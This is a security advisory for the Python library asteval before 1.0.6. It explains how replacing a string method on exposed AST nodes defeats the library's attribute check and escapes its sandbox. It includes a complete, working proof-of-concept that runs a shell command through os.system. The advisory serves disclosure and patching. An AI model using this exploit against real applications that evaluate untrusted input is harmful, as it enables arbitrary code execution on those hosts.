GHSA-vp47-9734-prjw ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape

• PyPI asteval: < 1.0.6 → fixed in 1.0.6

Summary If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context. Details The vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the `on_attribute` node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below: ```py def on_attribute(self, node): # ('value', 'attr', 'ctx') """Extract attribute.""" ctx = node.ctx.__class__ if ctx == ast.Store: msg = "attribute for storage: shouldn't be here!" self.raise_exception(node, exc=RuntimeError, msg=msg) sym = self.run(node.value) if ctx == ast.Del: return delattr(sym, node.attr) # unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__'))) if not unsafe: for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items(): unsafe = isinstance(sym, dtype) and node.attr in attrlist if unsafe: break if unsafe: msg = f"no safe attribute '{node.attr}' for {repr(sym)}" self.raise_exception(node, exc=AttributeError, msg=msg) else: try: return getattr(sym, node.attr) except AttributeError: pass ``` While this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection: ```py class Procedure: """Procedure: user-defined function for asteval. This stores the parsed ast nodes as from the 'functiondef' ast node for later evaluation. """ def __init__(self, name, interp, doc=None, lineno=0, body=None, args=None, kwargs=None, vararg=None, varkws=None): """TODO: docstring in public method.""" self.__ininit__ = True self.name = name self.__name__ = self.name self.__asteval__ = interp self.raise_exc = self.__asteval__.raise_exception self.__doc__ = doc self.body = body self.argnames = args self.kwargs = kwargs self.vararg = vararg self.varkws = varkws self.lineno = lineno self.__ininit__ = False ``` Since the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour. The exploit works as follows: 1. The Time of Check, Time of Use (TOCTOU) Gadget: In the code below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe: ```python unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__'))) ``` 2. Exploiting the TOCTOU Gadget: An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps: • It replaces the value of `node.attr` with the string `"__getattribute__"` and returns `False`. • Thus, when `node.attr.startswith('__')` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`. • However, by that time, `node.attr` has been changed to `"__getattribute__"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks. PoC The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine: ```py from asteval import Interpreter aeval = Interpreter() code = """ ga_str = "__getattribute__" def lender(): a b def pwn(): ga = lender.dontcare init = ga("__init__") ga = init.dontcare globals = ga("__globals__") builtins = globals["__builtins__"] importer = builtins["__import__"] importer("os").system("whoami") def startswith1(str): # Replace the attr on the targeted AST node with "__getattribute__" pwn.body[0].value.attr = ga_str return False def startswith2(str): pwn.body[2].value.attr = ga_str return False n1 = lender.body[0] n1.startswith = startswith1 pwn.body[0].value.attr = n1 n2 = lender.body[1] n2.startswith = startswith2 pwn.body[2].value.attr = n2 pwn() """ aeval(code) ```